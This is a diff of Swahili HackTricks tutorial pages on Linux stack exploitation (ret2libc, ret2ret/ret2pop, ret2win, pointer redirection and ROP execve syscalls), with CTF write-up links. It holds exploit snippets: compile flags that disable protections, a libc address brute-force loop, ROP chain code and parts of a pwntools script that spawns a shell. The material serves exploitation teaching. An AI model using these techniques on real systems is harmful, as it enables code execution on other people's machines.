* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, hakuna relro, hakuna canary, nx, hakuna pie, matumizi ya msingi ya strings za muundo kufichua bendera kutoka kwenye stack (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, hakuna canary, nx, hakuna pie, string ya muundo ya kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, hakuna canary, nx, hakuna pie, string ya muundo ya kuandika anwani ndani ya main katika `.fini_array` (hivyo mtiririko unarudi tena mara 1 zaidi) na kuandika anwani ya `system` katika jedwali la GOT ikionyesha kwa `strlen`. Wakati mtiririko unarudi kwa main, `strlen` inatekelezwa na matokeo ya mtumiaji na ikionyesha kwa `system`, itatekeleza amri zilizopitishwa.

53
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md Normal file
View file

@ -0,0 +1,53 @@
# Kuelekeza Pointer
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Pointer za String
Ikiwa wito wa kazi unatarajiwa kutumia anwani ya string ambayo iko kwenye stack, inawezekana kutumia buffer overflow ku **kubadilisha anwani hii** na kuweka **anwani ya string tofauti** ndani ya binary.
Ikiwa kwa mfano wito wa kazi wa **`system`** unatarajiwa **kutumia anwani ya string kutekeleza amri**, mshambuliaji anaweza kuweka **anwani ya string tofauti kwenye stack**, **`export PATH=.:$PATH`** na kuunda kwenye saraka ya sasa **script yenye jina la herufi ya kwanza ya string mpya** kwani itatekelezwa na binary.
Unaweza kupata mfano wa hii katika:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32bit, badilisha anwani ya string za bendera kwenye stack ili ichapishwe na `puts`
## Pointer za Kazi
Sawa na pointer ya string lakini ikitekelezwa kwa kazi, ikiwa **stack ina anwani ya kazi** ambayo itaitwa, inawezekana **kuibadilisha** (k.m. kuita **`system`**).
Unaweza kupata mfano katika:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## Marejeo
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

35
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
View file

@ -16,16 +16,16 @@ Njia nyingine za kusaidia HackTricks:
## **Maelezo Msingi**
Kiini cha **Ret2Libc** ni kurekebisha mtiririko wa utekelezaji wa programu yenye kasoro kwa kazi ndani ya maktaba iliyoshirikiwa (k.m., **system**, **execve**, **strcpy**) badala ya kutekeleza shellcode iliyotolewa na mkaidi kwenye stakabadilifu. Mkaidi hupanga mzigo wa data ambao hubadilisha anwani ya kurudi kwenye stakabadilifu ili ielekeze kwenye kazi ya maktaba inayotakiwa, huku pia akifanya mipango kwa ajili ya hoja zozote muhimu kuwekwa sawa kulingana na mkataba wa kuita.
Kiini cha **Ret2Libc** ni kurekebisha mtiririko wa utekelezaji wa programu yenye kasoro kwa kazi ndani ya maktaba iliyoshirikiwa (k.m., **system**, **execve**, **strcpy**) badala ya kutekeleza shellcode iliyotolewa na mkaidi kwenye stakabadilifu. Mkaidi hupanga mzigo wa data ambao hubadilisha anwani ya kurudi kwenye stakabadilifu ili ielekee kwenye kazi ya maktaba inayotakiwa, huku pia akifanya mipango ya kuweka vigezo vyovyote vinavyohitajika kulingana na mkataba wa wito.
### **Hatua za Mfano (zilizorahisishwa)**
* Pata anwani ya kazi ya kupiga simu (k.m., system) na amri ya kupiga simu (k.m., /bin/sh)
* Unda mnyororo wa ROP ili kupitisha hoja ya kwanza ikielekeza kwenye mnyororo wa amri na mtiririko wa utekelezaji kwa kazi
* Pata anwani ya kazi ya kuita (k.m., system) na amri ya kuita (k.m., /bin/sh)
* Unda mnyororo wa ROP ili kupitisha hoja ya kwanza inayoashiria kwenye herufi ya amri na mtiririko wa utekelezaji kwa kazi
## Kutafuta anwani
* Kudhani kwamba `libc` iliyotumiwa ni ile kutoka kwenye mashine ya sasa unaweza kupata mahali itakapoloadiwa kumbukani na:
* Kudhani kwamba `libc` iliyotumiwa ni ile kutoka kwenye mashine ya sasa unaweza kupata itakapopakiwa kumbukani na:
{% code overflow="wrap" %}
```bash
@ -37,7 +37,7 @@ Ikiwa unataka kujua ikiwa ASLR inabadilisha anwani ya libc unaweza kufanya hivi:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
* Kujua libc iliyotumiwa pia inawezekana kupata kisawe cha kazi ya `system` na:
* Kujua libc iliyotumiwa pia inawezekana kupata mbali hadi kwa kazi ya `system` na:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
@ -79,9 +79,9 @@ Na unaweza kupata kiolezo cha pwntools kwa hii katika:
## Kupitisha ASLR katika biti 32
Mashambulizi haya ya kufanya nguvu ni **yenye manufaa kwa mifumo ya biti 32 tu**.
Mashambulizi haya ya kufanya nguvu ni **yenye manufaa kwa mifumo ya biti 32** tu.
* Ikiwa shambulio ni la ndani, unaweza jaribu kufanya nguvu ya anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):
* Ikiwa shambulio ni la ndani, unaweza kujaribu kufanya nguvu ya anwani ya msingi ya libc (yenye manufaa kwa mifumo ya biti 32):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
@ -95,7 +95,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
## Mfano wa Kanuni ya x86 Ret2lib
Katika mfano huu, ASLR ya kubaini kwa nguvu imejumuishwa katika kanuni na programu dhaifu iko kwenye seva ya mbali:
Katika mfano huu, ASLR brute-force imejumuishwa katika kanuni na programu dhaifu iko kwenye seva ya mbali:
```python
from pwn import *
@ -121,26 +121,37 @@ Angalia mfano kutoka:
## Ret-into-printf (au puts)
Hii inaruhusu **kuvuja kwa habari kutoka kwa mchakato** kwa kuita `printf`/`puts` na data fulani maalum iliyowekwa kama hoja.
Hii inaruhusu **kuvuja kwa taarifa kutoka kwa mchakato** kwa kuita `printf`/`puts` na data fulani maalum iliyowekwa kama hoja.
## Ret2printf
Hii kimsingi inamaanisha kutumia **Ret2lib kubadilisha kuwa udhaifu wa strings za `printf`** kwa kutumia `ret2lib` kuita printf na thamani za kutumia (inaonekana haina maana lakini inawezekana):
Hii kimsingi inamaanisha kutumia **Ret2lib kubadilisha kuwa udhaifu wa aina ya `printf` format strings** kwa kutumia `ret2lib` kuita printf na thamani za kutumia (inaonekana haina maana lakini inawezekana):
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
## Mifano Mingine & Marejeo
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
* Ret2lib, ikipewa kuvuja kwa anwani ya kazi katika libc, kutumia kifaa cha kipekee
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* Biti 64, ASLR imewezeshwa lakini hakuna PIE, hatua ya kwanza ni kujaza kujaza hadi herufi 0x00 ya canary kisha kuita puts na kuvuja. Pamoja na canary, ROP gadget inaundwa kuita puts kuvuja anwani ya puts kutoka kwa GOT na kifaa cha ROP kuita `system('/bin/sh')`
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* Biti 64, ASLR imewezeshwa, hakuna canary, kujaza kijaza katika main kutoka kwa kazi ya mtoto. ROP gadget kuita puts kuvuja anwani ya puts kutoka kwa GOT na kisha kuita kifaa cha kipekee.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* Biti 64, hakuna pie, hakuna canary, hakuna relro, nx. Inatumia kazi ya kuandika kuvuja anwani ya kuandika (libc) na kuita kifaa cha kipekee.
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

29
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md
View file

@ -1,4 +1,4 @@
# Ret2ret
# Ret2ret & Reo2pop
<details>
@ -8,26 +8,35 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
## Ret2ret
Lengo kuu la mbinu hii ni kujaribu **kupita ASLR kwa kutumia kiashiria kilichopo kwenye stack**.
Lengo kuu la mbinu hii ni kujaribu **kupita ASLR kwa kutumia pointer iliyopo kwenye stack**.
Kimsingi, mifuriko ya stack mara nyingi husababishwa na strings, na **strings hukamilika na herufi ya sifuri mwishoni** kwenye kumbukumbu. Hii inaruhusu kujaribu kupunguza mahali kinacholengwa na kiashiria kilichopo tayari kwenye stack. Kwa hivyo, ikiwa stack ilikuwa na `0xbfffffdd`, mifuriko hii inaweza kuibadilisha kuwa `0xbfffff00` (zingatia herufi ya mwisho iliyozuiliwa).
Kimsingi, mifuriko ya stack mara nyingi husababishwa na strings, na **strings hukamilika na byte ya null mwishoni** kumbukumbuni. Hii inaruhusu kujaribu kupunguza mahali inayolengwa na pointer iliyopo tayari kwenye stack. Kwa hivyo, ikiwa stack ilikuwa na `0xbfffffdd`, mifuriko hii inaweza kuibadilisha kuwa `0xbfffff00` (zingatia byte ya mwisho iliyozuiliwa).
Ikiwa anwani hiyo inaelekeza kwenye shellcode yetu kwenye stack, ni rahisi kufanya mwendelezo ufikie anwani hiyo kwa **kuongeza anwani kwenye maagizo ya `ret`** hadi ifikie hiyo.
Ikiwa anwani hiyo inalenga shellcode yetu kwenye stack, ni rahisi kufanya mwendelezo ufikie anwani hiyo kwa **kuongeza anwani kwenye maagizo ya `ret`** hadi ifikie hiyo.
Kwa hivyo shambulio litakuwa kama ifuatavyo:
Kwa hivyo, shambulio litakuwa kama ifuatavyo:
* NOP sled
* Shellcode
* Kufunika stack kutoka kwa EIP na **anwani za `ret`**
* 0x00 iliyoongezwa na string kubadilisha anwani kutoka kwenye stack kuwaonyesha NOP sled
* Kufuta stack kutoka kwa EIP na **anwani za `ret`** (RET sled)
* 0x00 iliyoongezwa na string kubadilisha anwani kutoka kwenye stack ili ielekee kwenye NOP sled
Kufuatia [**kiunganishi hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) unaweza kuona mfano wa binary inayoweza kudukuliwa na [**katika hii**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) shambulio.
## Ret2pop
Kwa kesi unapoweza kupata **pointer kamili kwenye stack ambayo haitaki kubadilishwa** (katika `ret2ret` tulibadilisha byte ya mwisho kuwa `0x00`), unaweza kufanya shambulio sawa la `ret2ret`, lakini **urefu wa RET sled unapaswa kupunguzwa kwa 1** (hivyo `0x00` ya mwisho inafuta data moja kabla ya pointer kamili), na **anwani ya mwisho** ya RET sled inapaswa kuelekeza kwa **`pop <reg>; ret`**.\
Kwa njia hii, **data kabla ya pointer kamili itaondolewa** kutoka kwenye stack (hii ni data inayoguswa na `0x00`) na **ret ya mwisho itaelekeza kwenye anwani kamili** kwenye stack bila mabadiliko yoyote.
Kufuatia [**kiunganishi hiki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) unaweza kuona mfano wa binary inayoweza kudukuliwa na [**katika hii** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) shambulio.
## Marejeo
@ -41,7 +50,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

43
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
View file

@ -39,19 +39,19 @@ vulnerable_function();
return 0;
}
```
Ili kutekeleza programu hii bila ulinzi wa steki na na **ASLR** imelemazwa, unaweza kutumia amri ifuatayo:
Ili kutekeleza programu hii bila ulinzi wa stack na **ASLR** imelemazwa, unaweza kutumia amri ifuatayo:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Kupasha programu kama binary ya biti 32 (hii ni hiari lakini kawaida katika changamoto za CTF).
* `-fno-stack-protector`: Lemaza ulinzi dhidi ya kujaa kwa steki.
* `-m32`: Compile programu kama binary ya biti 32 (hii ni hiari lakini kawaida katika changamoto za CTF).
* `-fno-stack-protector`: Lemaza ulinzi dhidi ya mafuriko ya steki.
* `-z execstack`: Ruhusu utekelezaji wa nambari kwenye steki.
* `-no-pie`: Lemaza Msimbo wa Kutekelezwa kwa Nafasi Isiyokuwa na Kitega kuhakikisha kwamba anwani ya kazi ya `win` haibadiliki.
* `-no-pie`: Lemaza Position Independent Executable ili kuhakikisha anwani ya kazi ya `win` haibadiliki.
* `-o vulnerable`: Ita faili ya pato `vulnerable`.
### Mbinu ya Udukuzi ya Python kwa Kutumia Pwntools
### Mbinu ya Kutumia Python Kudukua kwa Kutumia Pwntools
Kwa udukuzi, tutatumia **pwntools**, mfumo hodari wa CTF kwa kuandika udukuzi. Skripti ya udukuzi itaunda mzigo wa kujaa na kubadilisha anwani ya kurudi na anwani ya kazi ya `win`.
Kwa kudukua, tutatumia **pwntools**, mfumo imara wa CTF kwa kuandika udanganyifu. Skripti ya udanganyifu itaunda mzigo wa kujaza buffer na kubadilisha anwani ya kurudi na anwani ya kazi ya `win`.
```python
from pwn import *
@ -75,30 +75,25 @@ Ili kupata anwani ya kazi ya `win`, unaweza kutumia **gdb**, **objdump**, au cho
```sh
objdump -d vulnerable | grep win
```
Amri hii itakuonyesha mkusanyiko wa `win` function, pamoja na anwani yake ya kuanzia.&#x20;
Amri hii itakuonyesha mkusanyiko wa `win` function, pamoja na anwani yake ya kuanzia.
Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa na `vulnerable_function`, unafunika kijazo na kubadilisha anwani ya kurudi kwenye steki na anwani ya `win`. Wakati `vulnerable_function` inaporudi, badala ya kurudi kwa `main` au kutoka, inaruka kwa `win`, na ujumbe unachapishwa.
Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa na `vulnerable_function`, unafunika buffer na kubadilisha anwani ya kurudi kwenye stack na anwani ya `win`. Wakati `vulnerable_function` inaporudi, badala ya kurudi kwa `main` au kutoka, inaruka kwa `win`, na ujumbe unachapishwa.
## Kinga
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa sawa daima na utahitaji kuvuja fulani ili kugundua wapi win function imepakiwa.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja ili kubaini wapi kazi ya ushindi imehifadhiwa.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi EIP haitafuatwa kamwe.
## Mifano Mingine & Marejeo
## Mifano na Marejeo Mengine
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
* 32bit, hakuna ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bits na ASLR, na kuvuja kwa anwani ya benki
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, hakuna ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bits, hakuna ASLR, kujaza kwa mara mbili, ya kwanza kufunika stack na kuongeza ukubwa wa kujaza la pili
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, hakuna canary, nx, hakuna pie, string ya muundo ya kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)

29
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md
View file

@ -2,33 +2,33 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Hii inafanana na Ret2lib, hata hivyo, katika kesi hii hatutaita kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa tayari kuita syscall `sys_execve` na baadhi ya hoja kutekeleza `/bin/sh`.
Hii inafanana na Ret2lib, hata hivyo, katika kesi hii hatutaita kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa tayari kuita syscall `sys_execve` na baadhi ya hoja za kutekeleza `/bin/sh`.
Ili kuandaa wito kwa **syscall** inahitajika usanidi ufuatao:
Ili kuandaa wito kwa **syscall** ni muhimu kuwa na usanidi ufuatao:
* `rax: 59 Taja sys_execve`
* `rdi: ptr kwa "/bin/sh" taja faili ya kutekeleza`
* `rsi: 0 taja hakuna hoja zilizopitishwa`
* `rdx: 0 taja hakuna mazingira ya mazingira yaliyopitishwa`
Kwa hivyo, kimsingi ni lazima kuandika mfuatano `/bin/sh` mahali fulani na kisha kutekeleza `syscall` (ukiwa makini na kujaza inayohitajika kudhibiti steki). Kwa hili, tunahitaji kifaa cha kuandika `/bin/sh` katika eneo lililofahamika.
Kwa hivyo, kimsingi ni muhimu kuandika herufi `/bin/sh` mahali fulani na kisha kufanya `syscall` (ukiwa makini na kujaza inayohitajika kudhibiti steki). Kwa hili, tunahitaji kifaa cha kuandika `/bin/sh` katika eneo lililojulikana.
{% hint style="success" %}
Syscall nyingine ya kuvutia ya kuita ni **`mprotect`** ambayo ingemruhusu muhusika **kurekebisha ruhusa ya ukurasa kwenye kumbukumbu**.
Syscall nyingine ya kuvutia ya kuita ni **`mprotect`** ambayo ingemruhusu mshambuliaji **kurekebisha ruhusa ya ukurasa kwenye kumbukumbu**.
{% endhint %}
## Vifaa vya Kusajili
@ -103,7 +103,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Vifaa Vinavyokosekana
Ikiwa **unakosa vifaa**, kwa mfano kuandika `/bin/sh` kumbukumbu, unaweza kutumia **mbinu ya SROP kudhibiti thamani zote za rejista** (ikiwa ni pamoja na RIP na rejista za params) kutoka kwenye steki:
Ikiwa **unakosa vifaa**, kwa mfano kuandika `/bin/sh` kumbukumbuni, unaweza kutumia **mbinu ya SROP kudhibiti thamani zote za rejista** (ikiwa ni pamoja na RIP na rejista za params) kutoka kwenye steki:
{% content-ref url="srop-sigreturn-oriented-programming.md" %}
[srop-sigreturn-oriented-programming.md](srop-sigreturn-oriented-programming.md)
@ -174,13 +174,18 @@ target.sendline(payload)
target.interactive()
```
## Marejeo
## Mifano Mingine & Marejeo
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
